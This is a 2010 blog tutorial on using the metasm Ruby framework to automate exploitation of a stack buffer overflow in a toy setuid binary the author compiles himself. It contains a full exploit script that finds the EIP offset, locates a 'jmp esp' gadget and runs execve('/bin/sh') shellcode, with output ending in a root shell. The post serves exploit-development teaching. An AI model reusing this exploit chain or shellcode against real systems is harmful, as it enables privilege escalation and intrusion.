Automatic exploitation with Metasm

Sat 19 June 2010 by jj

Ivan wrote a post on a script he wrote using metasm to automatically find most parameters needed when exploiting a simple stack-based buffer overflow.

I want to add a few lights on other ways to achieve the same result, and take this opportunity to bring his work to our english-speaking readers.

Ivan is a new [STRIKEOUT:zealot] user of metasm.To get better grasp of the framework, he decided to automate some tasks that may be boring when writing an exploit for a simple stack-based buffer overflow.

Go check the previous post for many urls, and more details on the flaw.

Step one: setup metasm

You'll need ruby, and mercurial to grab a copy of the latest metasm:

$ hg clone https://metasm.cr0.org/hg/metasm

Step two: check install

$ export RUBYLIB=~/metasm
$ cd metasm/samples
$ ruby disassemble.rb /bin/true -v --fast

Now we can start hacking.

Step three: the target

Our target will be a custom-made trivial exemple of buffer overflow: the program will copy its first argument to a fixed-size stack buffer, using strcpy().

Ivan used gcc for this step, but all we need is already in the framework. The C source can be compiled using the sample/elfencode.rb script, or simply by typing these few lines in a new script:

require 'metasm'

src = <<EOS
int strcpy(char*, const char*);
int main(int argc, char **argv) __attribute__((export))
{
        char buf[256];
        if (argc < 2)
                return -6913;
        strcpy(buf, argv[1]);
        return 0;
}
EOS

Metasm::ELF.compile_c(Metasm::Ia32.new, src).encode_file('vuln')

That will generate a new executable file named 'vuln' in the current directory, it will be an Ia32 ELF file.Basically we create a new ruby String holding our C source, ask metasm to create an ELF file from it (using compile_c), and save it as a binary file (using encode_file).The attribute(export) thingy is to tell metasm to create an ELF symbol for this function.

We can now put the target setuid root, and check that it works as expected:

# chmod u+s ./vuln
$ ./vuln foobar
$ ./vuln `ruby -e 'puts "a"*500'`
Segmentation fault

Step four: exploit strategy

We'll assume that the machine we're running on has no NX capability or that it has been disabled.

Our goal at this point is to craft an argument for the program so that we overwrite the main() return address on the stack with the address of a 'jmp esp' instruction found somewhere in the address space, and put our shellcode right after that.

./vuln [padding][@jmp esp][shellcode]

Step five: the missing pieces

The plan is simple so far, but we have a number of details missing before we can actually exploit the target:1 find the length of the padding we need to control eip2 find the address of a suitable 'jmp esp'3 build our shellcode

To find the size of the padding, we can either:

  • load a disassembler and do complex math (like an addition)
  • or run the target in a debugger, with a longer and longer argument, until it crashes

We'll go with the last solution: metasm will be used to start the program in debugging mode and increase the argument size until we get hold of eip

To find the jmp esp, once we know we control eip, we'll list the executable sections loaded in the target address space, and scan them for a suitable return address.

Finally for the shellcode, we'll use a simple linux execve("/bin/sh", 0, 0), that is not a problem. We'll make sure to write it the sexy way.

Step six: the deathly script

The script has actually two parts. The first one is devoted to finding the size of the padding: we start the program under the debugger with a given argument, run it until the end of the main() function, and check the return address. If it is 'AAAA', then we won ; otherwise, increase the arg size and try again.

require 'metasm'
include Metasm

puts '[*] automatic exploitation', '[*] http://metasm.cr0.org/'

target = './vuln'

# find the address of the 'ret' of main()
bin = AutoExe.decode_file target
dasm = bin.disassemble('main')
retaddr = dasm.function_at('main').return_address.first

puts '[*] main ends at 0x%x' % retaddr

We actually start by loading the target in the disassembler, to find the address of the ret instruction we want to break on. It is stored in the return_address Array, in the DecodedFunction at 'main'.

dbg = nil
saved_eip_offset = 0
loop do
        dbg = OS.current.create_debugger [target, 'A'*saved_eip_offset]
        puts '[+] trying arg size %d' % saved_eip_offset
        dbg.go(retaddr)

Now we actually run the program (create_debugger), using an argument of 'AAAAAAA..', and we stop on the aforementionned ret instruction (dbg.go(retaddr)).

if dbg[:esp, 4] == 'AAAA'
        # gotcha !
        puts '[*] own eip with %d' % saved_eip_offset
        break
end

The program is stopped on the ret, and we can now check to what address it will return. For that we read the 4 bytes on the top of the stack, using the debuggee memory accessor dbg[address, length]. The address can be given as a numeric address (0x1234), or as some expression that will be resolved using the current debugging context (:esp, or 'eax + 4*[ebx] + 0x1337', or anything like that).

If our buffer filled up to this point on the stack, this part is over, we know the padding length we were looking for.

dbg.kill
        dbg.run_forever

        saved_eip_offset += 4
end

If the padding is not long enough, kill the (now useless) running process, and try again with a longer argv[1].

At this point, the loop is finished, and we know the length of the argument needed to control eip in saved_eip_offset.

Now we need to find what to write there, so we'll scan for a jmp esp.

new_ret_addr = nil
jmpesp = Shellcode.assemble(Ia32.new, 'jmp esp').encode_string
dbg.os_process.mappings.each { |addr_start, length, perms, file|
        next if not perms.include?('x')
        if off = dbg[addr_start, length].index(jmpesp)
                new_ret_addr = addr_start + off
                break unless [new_ret_addr].pack('L').include?(0.chr)
        end
}

puts '[*] jmp esp found at 0x%x' % new_ret_addr

First, what we're looking for: the binary version of jmp esp (0xff 0xe4), that we simply compile on the fly into a ruby String from a temporary Metasm::Shellcode object.

Second, the search: from the LinDebugger object (dbg), we can access the Metasm::LinOS::Process using os_process(), and from there access the list of memory mappings available in the target address space (mappings()). For each of those mappings, we know the base address, the size, and the memory permission ; so we'll iterate over them, check whose are executable (include?('x')), and if one of them actually has the bytes we need (index(jmpesp)). As this specific flaw needs the whole buffer to be in a C string, we must ensure that the return address does not include a null byte, which is what the pack.include? checks.

Once we have the offset/index inside the mapping, we simply add the address of the mapping itself to find a suitable return address.

In our very exemple, we actually find such a sequence inside the target binary itself, and further investigation reveal that the random error code (-6913) we chose when validating the number of arguments on the commandline can be interpreted as the magic jmp esp sequence. How lucky we are.

Step seven: the buffer

Now all that's left is to stick it all together.

We'll create the whole buffer, including the padding, as a metasm shellcode, so that we can make use of (yet another) shiny trick of the framework, the dynamic padding calculation.

buf = Shellcode.assemble(Ia32.new, <<EOS).encode_string('patched_ret' => new_ret_addr)

.pad 'A'          // this defines variable-sized zone to be filled with repetition of byte 'A'

dd patched_ret    // the padding is followed by the new return address

.offset #{saved_eip_offset}  // and we determined what the buffer length need to be at this point: this will fix the .pad size

#include <asm/unistd.h>   // use the system definition for the syscall numbers

push __NR_execve
pop eax                  // sys_execve goes in eax
xor ecx, ecx            // ecx = edx = 0 (args 2 and 3 to execve)
mov edx, ecx
push edx                // create the null-terminated  '/bin//sh' on the stack
push '//sh'
push '/bin'
mov ebx, esp          // arg1 to execve
int 80h
EOS

# show the raw buffer we'll use to the astonished user
p buf

# and actually run the target with our crafted argv[1]
system target, buf

The .pad stuff is a special directive to tell the assembler to generate at this location a specifically-sized chuck of data so that the next .offset statement is found at the right place in the final binary buffer. We know we have to put some padding data at the beginning, then we have our return address, and we determined from our dbg bruteforce what the buffer length should be at this point. We simply translate this knowledge, so that metasm can compute the right padding size for us. In this case it is pretty trivial, but if we had some assembly statements or many other fixed-offset data chunks, this could prove very useful.

The return address overwrite in this exemple is a symbolic relocation, which is fixed up after assembly, during the Shellcode#encode_string() call. We can use this construct for any immediate numeric value, simply by using some variable name anywhere in the assembly source.

And finally comes the shellcode, with a few features like the string constants (for the push to build the "/bin//sh" string), and the C preprocessor, that will include the system header "/asm/unistd.h" to retrieve the system-specific syscall numbers.

Step eight: got root ?

$ ruby autoexploit.rb
[*] automatic exploitation
[*] http://metasm.cr0.org/
[*] main ends at 0x804819d
[+] trying arg size 0
[+] trying arg size 4
[+] trying arg size 8
 ...
[+] trying arg size 260
[+] trying arg size 264
[*] own eip with 264
[*] jmp esp found at 0x8048179
"AAA...AAAy\201\004\bj\vX1\311\211\312Rh//shh/bin\211\343\315\200"
# id
uid=0(root) gid=1000(jj)

yes.

Step nine: conclusion

Many thanks to Ivan for his script idea, and for the improvements this brought to the framework, and for the proof that documentation is overrated.

If you want to see more, come see us at HITB Amsterdam !